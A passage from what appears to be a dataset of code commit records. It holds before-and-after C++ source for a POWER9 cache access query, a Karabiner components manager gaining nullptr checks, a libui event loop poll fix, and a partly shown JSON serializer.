l_quadStopLevel);\n\n \/\/Set all attributes to 1, then clear them based on the stop state\n o_l2_is_scomable = 1;\n o_l2_is_scannable = 1;\n o_l3_is_scomable = 1;\n o_l3_is_scannable = 1;\n\n \/\/Looking at the stop states is only valid if quad is stop gated -- else it is fully running\n if (l_qsshsrc.getBit(SSH_REG_STOP_GATED))\n {\n \/\/ STOP8 - Half Quad Deep Sleep\n \/\/ VSU, ISU are powered off\n \/\/ IFU, LSU are powered off\n \/\/ PC, Core EPS are powered off\n \/\/ L20-EX0 is clocked off if both cores are >= 8\n \/\/ L20-EX1 is clocked off if both cores are >= 8\n if (l_quadStopLevel >= 8)\n {\n o_l2_is_scomable = 0;\n }\n\n \/\/ STOP9 - Fast Winkle (lab use only)\n \/\/ Both cores and cache are clocked off\n if (l_quadStopLevel >= 9)\n {\n o_l3_is_scomable = 0;\n }\n\n \/\/ STOP11 - Deep Winkle\n \/\/ Both cores and cache are powered off\n if (l_quadStopLevel >= 11)\n {\n o_l2_is_scannable = 0;\n o_l3_is_scannable = 0;\n }\n else\n {\n \/\/Read clock status to confirm stop state history is accurate\n \/\/If we trust the stop state history, this could be removed to save on code size\n \/\/Compare Hardware status vs stop state status. If there is a mismatch the HW value overrides the stop state\n\n FAPI_TRY(fapi2::getScom(i_target, EQ_CLOCK_STAT_SL, l_data64), \"Error reading data from EQ_CLOCK_STAT_SL\");\n\n FAPI_TRY(FAPI_ATTR_GET(fapi2::ATTR_CHIP_UNIT_POS, i_target, l_chpltNumber),\n \"Error: Failed to get the position of the EX:0x%08X\", i_target);\n l_exPos = l_chpltNumber % 2;\n\n l_is_scomable = !l_data64.getBit(eq_clk_l2_pos[l_exPos]);\n\n if (o_l2_is_scomable != l_is_scomable)\n {\n FAPI_INF(\"Clock status didn't match stop state, overriding is_scomable status\");\n o_l2_is_scomable = l_is_scomable;\n }\n\n l_is_scomable = !l_data64.getBit(eq_clk_l3_pos[l_exPos]);\n\n if (o_l3_is_scomable != l_is_scomable)\n {\n FAPI_INF(\"Clock status didn't match stop state, overriding is_scomable status\");\n o_l3_is_scomable = l_is_scomable;\n }\n }\n }\n\nfapi_try_exit:\n FAPI_INF(\"< p9_query_cache_access_state...\");\n return fapi2::current_err;\n}\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n\n#include \"libkrbn\/impl\/libkrbn_complex_modifications_assets_manager.hpp\"\n#include \"libkrbn\/impl\/libkrbn_configuration_monitor.hpp\"\n#include \"libkrbn\/impl\/libkrbn_connected_devices_monitor.hpp\"\n#include \"libkrbn\/impl\/libkrbn_file_monitor.hpp\"\n#include \"libkrbn\/impl\/libkrbn_frontmost_application_monitor.hpp\"\n#include \"libkrbn\/impl\/libkrbn_grabber_client.hpp\"\n#include \"libkrbn\/impl\/libkrbn_hid_value_monitor.hpp\"\n#include \"libkrbn\/impl\/libkrbn_log_monitor.hpp\"\n#include \"libkrbn\/impl\/libkrbn_system_preferences_monitor.hpp\"\n#include \"libkrbn\/impl\/libkrbn_version_monitor.hpp\"\n\nclass libkrbn_components_manager {\npublic:\n \/\/\n \/\/ version_monitor_\n \/\/\n\n void enable_version_monitor(libkrbn_version_monitor_callback callback,\n void* refcon) {\n version_monitor_ = std::make_unique<libkrbn_version_monitor>(callback,\n refcon);\n }\n\n void disable_version_monitor(void) {\n version_monitor_ = nullptr;\n }\n\n \/\/\n \/\/ configuration_monitor_\n \/\/\n\n void enable_configuration_monitor(libkrbn_configuration_monitor_callback callback,\n void* refcon) {\n configuration_monitor_ = std::make_unique<libkrbn_configuration_monitor>(callback,\n refcon);\n }\n\n void disable_configuration_monitor(void) {\n configuration_monitor_ = nullptr;\n }\n\n \/\/\n \/\/ complex_modifications_assets_manager_;\n \/\/\n\n void enable_complex_modifications_assets_manager(void) {\n complex_modifications_assets_manager_ = std::make_unique<libkrbn_complex_modifications_assets_manager>();\n }\n\n void disable_complex_modifications_assets_manager(void) {\n complex_modifications_assets_manager_ = nullptr;\n }\n\n std::shared_ptr<libkrbn_complex_modifications_assets_manager> get_complex_modifications_assets_manager(void) const {\n return complex_modifications_assets_manager_;\n }\n\n \/\/\n \/\/ system_preferences_monitor_\n \/\/\n\n void enable_system_preferences_monitor(libkrbn_system_preferences_monitor_callback callback,\n void* refcon) {\n system_preferences_monitor_ = std::make_unique<libkrbn_system_preferences_monitor>(callback,\n refcon);\n }\n\n void disable_system_preferences_monitor(void) {\n system_preferences_monitor_ = nullptr;\n }\n\n \/\/\n \/\/ connected_devices_monitor_\n \/\/\n\n void enable_connected_devices_monitor(libkrbn_connected_devices_monitor_callback callback,\n void* refcon) {\n connected_devices_monitor_ = std::make_unique<libkrbn_connected_devices_monitor>(callback,\n refcon);\n }\n\n void disable_connected_devices_monitor(void) {\n connected_devices_monitor_ = nullptr;\n }\n\n \/\/\n \/\/ kextd_state_json_file_monitor\n \/\/\n\n void enable_kextd_state_json_file_monitor(libkrbn_file_monitor_callback callback,\n void* refcon) {\n kextd_state_json_file_monitor_ = std::make_unique<libkrbn_file_monitor>(krbn::constants::get_kextd_state_json_file_path(),\n callback,\n refcon);\n }\n\n void disable_kextd_state_json_file_monitor(void) {\n kextd_state_json_file_monitor_ = nullptr;\n }\n\n \/\/\n \/\/ observer_state_json_file_monitor\n \/\/\n\n void enable_observer_state_json_file_monitor(libkrbn_file_monitor_callback callback,\n void* refcon) {\n observer_state_json_file_monitor_ = std::make_unique<libkrbn_file_monitor>(krbn::constants::get_observer_state_json_file_path(),\n callback,\n refcon);\n }\n\n void disable_observer_state_json_file_monitor(void) {\n observer_state_json_file_monitor_ = nullptr;\n }\n\n \/\/\n \/\/ grabber_state_json_file_monitor\n \/\/\n\n void enable_grabber_state_json_file_monitor(libkrbn_file_monitor_callback callback,\n void* refcon) {\n grabber_state_json_file_monitor_ = std::make_unique<libkrbn_file_monitor>(krbn::constants::get_grabber_state_json_file_path(),\n callback,\n refcon);\n }\n\n void disable_grabber_state_json_file_monitor(void) {\n grabber_state_json_file_monitor_ = nullptr;\n }\n\n \/\/\n \/\/ device_details_json_file_monitor\n \/\/\n\n void enable_device_details_json_file_monitor(libkrbn_file_monitor_callback callback,\n void* refcon) {\n device_details_json_file_monitor_ = std::make_unique<libkrbn_file_monitor>(krbn::constants::get_device_details_json_file_path(),\n callback,\n refcon);\n }\n\n void disable_device_details_json_file_monitor(void) {\n device_details_json_file_monitor_ = nullptr;\n }\n\n \/\/\n \/\/ manipulator_environment_json_file_monitor\n \/\/\n\n void enable_manipulator_environment_json_file_monitor(libkrbn_file_monitor_callback callback,\n void* refcon) {\n manipulator_environment_json_file_monitor_ = std::make_unique<libkrbn_file_monitor>(krbn::constants::get_manipulator_environment_json_file_path(),\n callback,\n refcon);\n }\n\n void disable_manipulator_environment_json_file_monitor(void) {\n manipulator_environment_json_file_monitor_ = nullptr;\n }\n\n \/\/\n \/\/ notification_message_json_file_monitor\n \/\/\n\n void enable_notification_message_json_file_monitor(libkrbn_file_monitor_callback callback,\n void* refcon) {\n notification_message_json_file_monitor_ = std::make_unique<libkrbn_file_monitor>(krbn::constants::get_user_notification_message_file_path(),\n callback,\n refcon);\n }\n\n void disable_notification_message_json_file_monitor(void) {\n notification_message_json_file_monitor_ = nullptr;\n }\n\n \/\/\n \/\/ frontmost_application_monitor_\n \/\/\n\n void enable_frontmost_application_monitor(libkrbn_frontmost_application_monitor_callback callback,\n void* refcon) {\n frontmost_application_monitor_ = std::make_unique<libkrbn_frontmost_application_monitor>(callback,\n refcon);\n }\n\n void disable_frontmost_application_monitor(void) {\n frontmost_application_monitor_ = nullptr;\n }\n\n \/\/\n \/\/ log_monitor_\n \/\/\n\n void enable_log_monitor(libkrbn_log_monitor_callback callback,\n void* refcon) {\n log_monitor_ = std::make_unique<libkrbn_log_monitor>(callback,\n refcon);\n }\n\n void disable_log_monitor(void) {\n log_monitor_ = nullptr;\n }\n\n \/\/\n \/\/ hid_value_monitor_\n \/\/\n\n void enable_hid_value_monitor(libkrbn_hid_value_monitor_callback callback,\n void* refcon) {\n hid_value_monitor_ = std::make_unique<libkrbn_hid_value_monitor>(callback,\n refcon);\n }\n\n void disable_hid_value_monitor(void) {\n hid_value_monitor_ = nullptr;\n }\n\n bool hid_value_monitor_observed(void) {\n if (hid_value_monitor_) {\n return hid_value_monitor_->get_observed();\n }\n return false;\n }\n\n \/\/\n \/\/ grabber_client_\n \/\/\n\n void enable_grabber_client(libkrbn_grabber_client_connected_callback connected_callback,\n libkrbn_grabber_client_connect_failed_callback connect_failed_callback,\n libkrbn_grabber_client_closed_callback closed_callback) {\n grabber_client_ = std::make_unique<libkrbn_grabber_client>(connected_callback,\n connect_failed_callback,\n closed_callback);\n }\n\n void disable_grabber_client(void) {\n grabber_client_ = nullptr;\n }\n\n void grabber_client_async_set_variable(const std::string& name, int value) {\n grabber_client_->async_set_variable(name, value);\n }\n\n void grabber_client_sync_set_variable(const std::string& name, int value) {\n grabber_client_->sync_set_variable(name, value);\n }\n\nprivate:\n std::unique_ptr<libkrbn_version_monitor> version_monitor_;\n std::unique_ptr<libkrbn_configuration_monitor> configuration_monitor_;\n std::shared_ptr<libkrbn_complex_modifications_assets_manager> complex_modifications_assets_manager_;\n std::unique_ptr<libkrbn_system_preferences_monitor> system_preferences_monitor_;\n std::unique_ptr<libkrbn_connected_devices_monitor> connected_devices_monitor_;\n std::unique_ptr<libkrbn_file_monitor> kextd_state_json_file_monitor_;\n std::unique_ptr<libkrbn_file_monitor> observer_state_json_file_monitor_;\n std::unique_ptr<libkrbn_file_monitor> grabber_state_json_file_monitor_;\n std::unique_ptr<libkrbn_file_monitor> device_details_json_file_monitor_;\n std::unique_ptr<libkrbn_file_monitor> manipulator_environment_json_file_monitor_;\n std::unique_ptr<libkrbn_file_monitor> notification_message_json_file_monitor_;\n std::unique_ptr<libkrbn_frontmost_application_monitor> frontmost_application_monitor_;\n std::unique_ptr<libkrbn_log_monitor> log_monitor_;\n std::unique_ptr<libkrbn_hid_value_monitor> hid_value_monitor_;\n std::unique_ptr<libkrbn_grabber_client> grabber_client_;\n};\n<commit_msg>add nullptr check<commit_after>#pragma once\n\n#include \"libkrbn\/impl\/libkrbn_complex_modifications_assets_manager.hpp\"\n#include \"libkrbn\/impl\/libkrbn_configuration_monitor.hpp\"\n#include \"libkrbn\/impl\/libkrbn_connected_devices_monitor.hpp\"\n#include \"libkrbn\/impl\/libkrbn_file_monitor.hpp\"\n#include \"libkrbn\/impl\/libkrbn_frontmost_application_monitor.hpp\"\n#include \"libkrbn\/impl\/libkrbn_grabber_client.hpp\"\n#include \"libkrbn\/impl\/libkrbn_hid_value_monitor.hpp\"\n#include \"libkrbn\/impl\/libkrbn_log_monitor.hpp\"\n#include \"libkrbn\/impl\/libkrbn_system_preferences_monitor.hpp\"\n#include \"libkrbn\/impl\/libkrbn_version_monitor.hpp\"\n\nclass libkrbn_components_manager {\npublic:\n \/\/\n \/\/ version_monitor_\n \/\/\n\n void enable_version_monitor(libkrbn_version_monitor_callback callback,\n void* refcon) {\n version_monitor_ = std::make_unique<libkrbn_version_monitor>(callback,\n refcon);\n }\n\n void disable_version_monitor(void) {\n version_monitor_ = nullptr;\n }\n\n \/\/\n \/\/ configuration_monitor_\n \/\/\n\n void enable_configuration_monitor(libkrbn_configuration_monitor_callback callback,\n void* refcon) {\n configuration_monitor_ = std::make_unique<libkrbn_configuration_monitor>(callback,\n refcon);\n }\n\n void disable_configuration_monitor(void) {\n configuration_monitor_ = nullptr;\n }\n\n \/\/\n \/\/ complex_modifications_assets_manager_;\n \/\/\n\n void enable_complex_modifications_assets_manager(void) {\n complex_modifications_assets_manager_ = std::make_unique<libkrbn_complex_modifications_assets_manager>();\n }\n\n void disable_complex_modifications_assets_manager(void) {\n complex_modifications_assets_manager_ = nullptr;\n }\n\n std::shared_ptr<libkrbn_complex_modifications_assets_manager> get_complex_modifications_assets_manager(void) const {\n return complex_modifications_assets_manager_;\n }\n\n \/\/\n \/\/ system_preferences_monitor_\n \/\/\n\n void enable_system_preferences_monitor(libkrbn_system_preferences_monitor_callback callback,\n void* refcon) {\n system_preferences_monitor_ = std::make_unique<libkrbn_system_preferences_monitor>(callback,\n refcon);\n }\n\n void disable_system_preferences_monitor(void) {\n system_preferences_monitor_ = nullptr;\n }\n\n \/\/\n \/\/ connected_devices_monitor_\n \/\/\n\n void enable_connected_devices_monitor(libkrbn_connected_devices_monitor_callback callback,\n void* refcon) {\n connected_devices_monitor_ = std::make_unique<libkrbn_connected_devices_monitor>(callback,\n refcon);\n }\n\n void disable_connected_devices_monitor(void) {\n connected_devices_monitor_ = nullptr;\n }\n\n \/\/\n \/\/ kextd_state_json_file_monitor\n \/\/\n\n void enable_kextd_state_json_file_monitor(libkrbn_file_monitor_callback callback,\n void* refcon) {\n kextd_state_json_file_monitor_ = std::make_unique<libkrbn_file_monitor>(krbn::constants::get_kextd_state_json_file_path(),\n callback,\n refcon);\n }\n\n void disable_kextd_state_json_file_monitor(void) {\n kextd_state_json_file_monitor_ = nullptr;\n }\n\n \/\/\n \/\/ observer_state_json_file_monitor\n \/\/\n\n void enable_observer_state_json_file_monitor(libkrbn_file_monitor_callback callback,\n void* refcon) {\n observer_state_json_file_monitor_ = std::make_unique<libkrbn_file_monitor>(krbn::constants::get_observer_state_json_file_path(),\n callback,\n refcon);\n }\n\n void disable_observer_state_json_file_monitor(void) {\n observer_state_json_file_monitor_ = nullptr;\n }\n\n \/\/\n \/\/ grabber_state_json_file_monitor\n \/\/\n\n void enable_grabber_state_json_file_monitor(libkrbn_file_monitor_callback callback,\n void* refcon) {\n grabber_state_json_file_monitor_ = std::make_unique<libkrbn_file_monitor>(krbn::constants::get_grabber_state_json_file_path(),\n callback,\n refcon);\n }\n\n void disable_grabber_state_json_file_monitor(void) {\n grabber_state_json_file_monitor_ = nullptr;\n }\n\n \/\/\n \/\/ device_details_json_file_monitor\n \/\/\n\n void enable_device_details_json_file_monitor(libkrbn_file_monitor_callback callback,\n void* refcon) {\n device_details_json_file_monitor_ = std::make_unique<libkrbn_file_monitor>(krbn::constants::get_device_details_json_file_path(),\n callback,\n refcon);\n }\n\n void disable_device_details_json_file_monitor(void) {\n device_details_json_file_monitor_ = nullptr;\n }\n\n \/\/\n \/\/ manipulator_environment_json_file_monitor\n \/\/\n\n void enable_manipulator_environment_json_file_monitor(libkrbn_file_monitor_callback callback,\n void* refcon) {\n manipulator_environment_json_file_monitor_ = std::make_unique<libkrbn_file_monitor>(krbn::constants::get_manipulator_environment_json_file_path(),\n callback,\n refcon);\n }\n\n void disable_manipulator_environment_json_file_monitor(void) {\n manipulator_environment_json_file_monitor_ = nullptr;\n }\n\n \/\/\n \/\/ notification_message_json_file_monitor\n \/\/\n\n void enable_notification_message_json_file_monitor(libkrbn_file_monitor_callback callback,\n void* refcon) {\n notification_message_json_file_monitor_ = std::make_unique<libkrbn_file_monitor>(krbn::constants::get_user_notification_message_file_path(),\n callback,\n refcon);\n }\n\n void disable_notification_message_json_file_monitor(void) {\n notification_message_json_file_monitor_ = nullptr;\n }\n\n \/\/\n \/\/ frontmost_application_monitor_\n \/\/\n\n void enable_frontmost_application_monitor(libkrbn_frontmost_application_monitor_callback callback,\n void* refcon) {\n frontmost_application_monitor_ = std::make_unique<libkrbn_frontmost_application_monitor>(callback,\n refcon);\n }\n\n void disable_frontmost_application_monitor(void) {\n frontmost_application_monitor_ = nullptr;\n }\n\n \/\/\n \/\/ log_monitor_\n \/\/\n\n void enable_log_monitor(libkrbn_log_monitor_callback callback,\n void* refcon) {\n log_monitor_ = std::make_unique<libkrbn_log_monitor>(callback,\n refcon);\n }\n\n void disable_log_monitor(void) {\n log_monitor_ = nullptr;\n }\n\n \/\/\n \/\/ hid_value_monitor_\n \/\/\n\n void enable_hid_value_monitor(libkrbn_hid_value_monitor_callback callback,\n void* refcon) {\n hid_value_monitor_ = std::make_unique<libkrbn_hid_value_monitor>(callback,\n refcon);\n }\n\n void disable_hid_value_monitor(void) {\n hid_value_monitor_ = nullptr;\n }\n\n bool hid_value_monitor_observed(void) {\n if (hid_value_monitor_) {\n return hid_value_monitor_->get_observed();\n }\n return false;\n }\n\n \/\/\n \/\/ grabber_client_\n \/\/\n\n void enable_grabber_client(libkrbn_grabber_client_connected_callback connected_callback,\n libkrbn_grabber_client_connect_failed_callback connect_failed_callback,\n libkrbn_grabber_client_closed_callback closed_callback) {\n grabber_client_ = std::make_unique<libkrbn_grabber_client>(connected_callback,\n connect_failed_callback,\n closed_callback);\n }\n\n void disable_grabber_client(void) {\n grabber_client_ = nullptr;\n }\n\n void grabber_client_async_set_variable(const std::string& name, int value) {\n if (grabber_client_) {\n grabber_client_->async_set_variable(name, value);\n }\n }\n\n void grabber_client_sync_set_variable(const std::string& name, int value) {\n if (grabber_client_) {\n grabber_client_->sync_set_variable(name, value);\n }\n }\n\nprivate:\n std::unique_ptr<libkrbn_version_monitor> version_monitor_;\n std::unique_ptr<libkrbn_configuration_monitor> configuration_monitor_;\n std::shared_ptr<libkrbn_complex_modifications_assets_manager> complex_modifications_assets_manager_;\n std::unique_ptr<libkrbn_system_preferences_monitor> system_preferences_monitor_;\n std::unique_ptr<libkrbn_connected_devices_monitor> connected_devices_monitor_;\n std::unique_ptr<libkrbn_file_monitor> kextd_state_json_file_monitor_;\n std::unique_ptr<libkrbn_file_monitor> observer_state_json_file_monitor_;\n std::unique_ptr<libkrbn_file_monitor> grabber_state_json_file_monitor_;\n std::unique_ptr<libkrbn_file_monitor> device_details_json_file_monitor_;\n std::unique_ptr<libkrbn_file_monitor> manipulator_environment_json_file_monitor_;\n std::unique_ptr<libkrbn_file_monitor> notification_message_json_file_monitor_;\n std::unique_ptr<libkrbn_frontmost_application_monitor> frontmost_application_monitor_;\n std::unique_ptr<libkrbn_log_monitor> log_monitor_;\n std::unique_ptr<libkrbn_hid_value_monitor> hid_value_monitor_;\n std::unique_ptr<libkrbn_grabber_client> grabber_client_;\n};\n<|endoftext|>"} {"text":"<commit_before>#include <uv.h>\n#include \"..\/..\/..\/ui.h\"\n#include \"nbind\/nbind.h\"\n\nextern int uiConnectionNumber();\nextern int uiEventsPending();\n\nuv_poll_t * handle;\n\n\n\nstatic void onEventsPending(uv_poll_t* handle, int status, int events) {\n\tNan::HandleScope scope;\n\twhile(uiEventsPending()) {\n\t\tuiMainStep(0);\n\t}\n\n}\n\nbool running = false;\n\nstruct EventLoop {\n\tstatic void start () {\n\t\tif (running) {\n\t\t\treturn;\n\t\t}\n\t\trunning = true;\n\t\tuiMainSteps();\n\n\t\tint fd = uiConnectionNumber();\n\t\thandle = new uv_poll_t();\n\n\t\tuv_poll_init(uv_default_loop(), handle, fd);\n\n\t\tuv_poll_start(handle, UV_WRITABLE, onEventsPending);\n\t}\n\n\tstatic void stop () {\n\t\tif (!running) {\n\t\t\treturn;\n\t\t}\n\t\trunning = false;\n\t\tuiQuit();\n\t\tuv_poll_stop(handle);\n\t}\n};\n\n\nNBIND_CLASS(EventLoop) {\n\t\tmethod(start);\n\t\tmethod(stop);\n}\n<commit_msg>switch to readable<commit_after>#include <uv.h>\n#include \"..\/..\/..\/ui.h\"\n#include \"nbind\/nbind.h\"\n\nextern int uiConnectionNumber();\nextern int uiEventsPending();\n\nuv_poll_t * handle;\n\n\n\nstatic void onEventsPending(uv_poll_t* handle, int status, int events) {\n\tprintf(\"onEventsPending\\n\");\n\tNan::HandleScope scope;\n\twhile(uiEventsPending()) {\n\t\tuiMainStep(0);\n\t}\n\tprintf(\"onEventsPending exited\\n\");\n}\n\nbool running = false;\n\nstruct EventLoop {\n\tstatic void start () {\n\t\tif (running) {\n\t\t\treturn;\n\t\t}\n\t\trunning = true;\n\t\tuiMainSteps();\n\n\t\tint fd = uiConnectionNumber();\n\t\thandle = new uv_poll_t();\n\n\t\tuv_poll_init(uv_default_loop(), handle, fd);\n\n\t\tuv_poll_start(handle, UV_READABLE, onEventsPending);\n\t}\n\n\tstatic void stop () {\n\t\tif (!running) {\n\t\t\treturn;\n\t\t}\n\t\trunning = false;\n\t\tuiQuit();\n\t\tuv_poll_stop(handle);\n\t}\n};\n\n\nNBIND_CLASS(EventLoop) {\n\t\tmethod(start);\n\t\tmethod(stop);\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\tCopyright 2017 Adam Smith\n\/\/\tLicensed under the Apache License, Version 2.0 (the \"License\");\n\/\/\tyou may not use this file except in compliance with the License.\n\/\/\tYou may obtain a copy of the License at\n\/\/ \n\/\/\thttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/\tUnless required by applicable law or agreed to in writing, software\n\/\/\tdistributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/\tWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/\tSee the License for the specific language governing permissions and\n\/\/\tlimitations under the License.\n\n#include \"asmith\/serial\/json.hpp\"\n#include <cctype>\n\t\nnamespace asmith { namespace serial {\n\n\tvoid json_skip_whitespace(std::istream& aStream) {\n\t\tchar c = aStream.peek();\n\t\twhile(std::isspace(c)) {\n\t\t\taStream.read(&c, 1);\n\t\t}\n\t}\n\n\tvalue::type json_determine_type(std::istream& aStream) {\n\t\tjson_skip_whitespace(aStream);\n\t\tchar c = aStream.peek();\n\t\tswitch(c) {\n\t\tcase 'n':\n\t\t\treturn value::NULL_T;\n\t\tcase 't':\n\t\tcase 'f':\n\t\t\treturn value::BOOl_T;\n\t\tcase '0':\n\t\tcase '1':\n\t\tcase '2':\n\t\tcase '3':\n\t\tcase '4':\n\t\tcase '5':\n\t\tcase '6':\n\t\tcase '7':\n\t\tcase '8':\n\t\tcase '9':\n\t\t\treturn value::NUMBER_T;\n\t\tcase '\"':\n\t\t\treturn value::STRING_T;\n\t\tcase '[':\n\t\t\treturn value::ARRAY_T;\n\t\tcase '{':\n\t\t\treturn value::OBJECT_T;\n\t\tdefault:\n\t\t\tthrow std::runtime_error(\"asmith::json_format::read_serial : Could not determin JSON type\");\n\t\t}\n\t}\n\n\tvalue json_read_value(std::istream&);\n\n\tvalue json_read_null(std::istream& aStream) {\n\t\tjson_skip_whitespace(aStream);\n\n\t\tchar buf[4];\n\t\taStream.read(buf, 4);\n\t\tif(memcmp(buf, \"null\", 4) != 0) throw std::runtime_error(\"asmith::json_format::read_serial : Expected 'null'\");\n\t\treturn value();\n\t}\n\n\tvalue json_read_bool(std::istream& aStream) {\n\t\tjson_skip_whitespace(aStream);\n\n\t\tchar buf[5];\n\t\taStream.read(buf, 4);\n\t\tif(memcmp(buf, \"true\", 4) == 0) {\n\t\t\treturn value(true);\n\t\t}else if(memcmp(buf, \"fals\", 4) == 0) {\n\t\t\taStream.read(buf, 1);\n\t\t\tif(buf[0] == 'e') return value(false);\n\t\t}\n\t\tthrow std::runtime_error(\"asmith::json_format::read_serial : Expected 'true' or 'false'\");\n\t}\n\n\tvalue json_read_number(std::istream& aStream) {\n\t\tjson_skip_whitespace(aStream);\n\n\t\tstatic const auto is_number = [](const char c)->bool {\n\t\t\treturn (c >= '0' && c <= '9') || c == '+' || c == '-' || c == '.' || c == 'e' || c == 'E';\n\t\t};\n\n\t\tchar buf[32];\n\t\tsize_t s = 0;\n\t\tchar c = aStream.peek();\n\t\twhile(is_number(c)) {\n\t\t\tbuf[s++] = c;\n\t\t\taStream.read(&c, 1);\n\t\t}\n\t\tbuf[s] = '\\0';\n\t\treturn value(atof(buf));\n\t}\n\n\tvalue json_read_string(std::istream& aStream) {\n\t\tjson_skip_whitespace(aStream);\n\n\t\tchar c = aStream.peek();\n\t\tif(c != '\"') throw std::runtime_error(\"asmith::json_format::read_serial : Expected string to begin with '\\\"'\");\n\n\t\tvalue tmp;\n\t\tvalue::string_t& str = tmp.set_string();\n\n\t\taStream.read(&c, 1);\n\t\twhile(c != '\"') {\n\t\t\tstr += c;\n\t\t\taStream.read(&c, 1);\n\t\t\tif(aStream.eof()) throw std::runtime_error(\"asmith::json_format::read_serial : Expected string to end with '\\\"'\");\n\t\t}\n\n\t\treturn tmp;\n\t}\n\n\tvalue json_read_array(std::istream& aStream) {\n\t\tjson_skip_whitespace(aStream);\n\n\t\tchar c = aStream.peek();\n\t\tif(c != '[') throw std::runtime_error(\"asmith::json_format::read_serial : Expected array to begin with '['\");\n\t\tjson_skip_whitespace(aStream);\n\n\t\tvalue tmp;\n\t\tvalue::array_t& array_ = tmp.set_array();\n\n\t\tc = aStream.peek();\n\t\twhile(c != ']') {\n\t\t\tif(aStream.eof()) throw std::runtime_error(\"asmith::json_format::read_serial : Expected array to end with ']'\");\n\t\t\tarray_.push_back(json_read_value(aStream));\n\t\t\tjson_skip_whitespace(aStream);\n\t\t\tc = aStream.peek();\n\t\t\tif(c == ']') break;\n\t\t\telse if(c != ',') throw std::runtime_error(\"asmith::json_format::read_serial : Expected array elements to be seperated with ','\");\n\t\t\taStream.read(&c, 1);\n\t\t\tjson_skip_whitespace(aStream);\n\t\t}\n\t\taStream.read(&c, 1);\n\n\t\treturn tmp;\n\n\t}\n\n\tvalue json_read_object(std::istream& aStream) {\n\t\tjson_skip_whitespace(aStream);\n\n\t\t\/\/! \\todo Implement\n\t\treturn value();\n\t}\n\n\tvalue json_read_value(std::istream& aStream) {\n\t\tswitch(json_determine_type(aStream)) {\n\t\tcase value::NULL_T:\n\t\t\treturn json_read_null(aStream);\n\t\tcase value::BOOl_T:\n\t\t\treturn json_read_bool(aStream);\n\t\tcase value::NUMBER_T:\n\t\t\treturn json_read_number(aStream);\n\t\tcase value::STRING_T:\n\t\t\treturn json_read_string(aStream);\n\t\tcase value::ARRAY_T:\n\t\t\treturn json_read_array(aStream);\n\t\tcase value::OBJECT_T:\n\t\t\treturn json_read_object(aStream);\n\t\tdefault:\n\t\t\tthrow std::runtime_error(\"asmith::json_format::read_serial : Could not determin JSON type\");\n\t\t}\n\t}\n\n\tvoid json_format::write_serial(const value& aType, std::ostream& aStream) {\n\t\tconst value::type tBuf = aType.get_type();\n\n\t\tswitch(tBuf) {\n\t\tcase value::NULL_T:\n\t\t\taStream << \"null\";\n\t\t\tbreak;\n\t\tcase value::BOOl_T:\n\t\t\taStream << (aType.get_bool() ? \"true\" : \"false\");\n\t\t\tbreak;\n\t\tcase value::CHAR_T:\n\t\t\taStream << '\"' << aType.get_char() << '\"';\n\t\t\tbreak;\n\t\tcase value::NUMBER_T:\n\t\t\taStream << aType.get_number();\n\t\t\tbreak;\n\t\tcase value::STRING_T:\n\t\t\taStream << '\"' << aType.get_string() << '\"';\n\t\t\tbreak;\n\t\tcase value::ARRAY_T:\n\t\t\t{\n\t\t\t\taStream << '[';\n\t\t\t\tconst value::array_t tmp = aType.get_array();\n\t\t\t\tconst size_t s = tmp.size();\n\t\t\t\tfor(size_t i = 0; i < s; ++i) {\n\t\t\t\t\twrite_serial(tmp[i], aStream);\n\t\t\t\t\tif(i + 1 < s) aStream << ',';\n\t\t\t\t}\n\t\t\t\taStream << ']';\n\t\t\t}\n\t\t\tbreak;\n\t\tcase value::OBJECT_T:\n\t\t{\n\t\t\taStream << '{';\n\t\t\tconst value::object_t tmp = aType.get_object();\n\t\t\tconst size_t s = tmp.size();\n\t\t\tsize_t i = 0;\n\t\t\tfor(const auto& v : tmp) {\n\t\t\t\taStream << '\"' << v.first<< '\"' << ':';\n\t\t\t\twrite_serial(v.second, aStream);\n\t\t\t\tif(i + 1 < s) aStream << ',';\n\t\t\t\t++i;\n\t\t\t}\n\t\t\taStream << '}';\n\t\t}\n\t\tbreak;\n\t\tdefault:\n\t\t\tthrow std::runtime_error(\"json_format : Invalid serial type\");\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tvalue json_format::read_serial(std::istream& aStream) {\n\t\t\/\/! \\todo Implement\n\t\treturn value();\n\t}\n}}<commit_msg>Implemented object reading<commit_after>\/\/\tCopyright 2017 Adam Smith\n\/\/\tLicensed under the Apache License, Version 2.0 (the \"License\");\n\/\/\tyou may not use this file except in compliance with the License.\n\/\/\tYou may obtain a copy of the License at\n\/\/ \n\/\/\thttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/\tUnless required by applicable law or agreed to in writing, software\n\/\/\tdistributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/\tWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/\tSee the License for the specific language governing permissions and\n\/\/\tlimitations under the License.\n\n#include \"asmith\/serial\/json.hpp\"\n#include <cctype>\n\t\nnamespace asmith { namespace serial {\n\n\tvoid json_skip_whitespace(std::istream& aStream) {\n\t\tchar c = aStream.peek();\n\t\twhile(std::isspace(c)) {\n\t\t\taStream.read(&c, 1);\n\t\t}\n\t}\n\n\tvalue::type json_determine_type(std::istream& aStream) {\n\t\tjson_skip_whitespace(aStream);\n\t\tchar c = aStream.peek();\n\t\tswitch(c) {\n\t\tcase 'n':\n\t\t\treturn value::NULL_T;\n\t\tcase 't':\n\t\tcase 'f':\n\t\t\treturn value::BOOl_T;\n\t\tcase '0':\n\t\tcase '1':\n\t\tcase '2':\n\t\tcase '3':\n\t\tcase '4':\n\t\tcase '5':\n\t\tcase '6':\n\t\tcase '7':\n\t\tcase '8':\n\t\tcase '9':\n\t\t\treturn value::NUMBER_T;\n\t\tcase '\"':\n\t\t\treturn value::STRING_T;\n\t\tcase '[':\n\t\t\treturn value::ARRAY_T;\n\t\tcase '{':\n\t\t\treturn value::OBJECT_T;\n\t\tdefault:\n\t\t\tthrow std::runtime_error(\"asmith::json_format::read_serial : Could not determin JSON type\");\n\t\t}\n\t}\n\n\tvalue json_read_value(std::istream&);\n\n\tvalue json_read_null(std::istream& aStream) {\n\t\tjson_skip_whitespace(aStream);\n\n\t\tchar 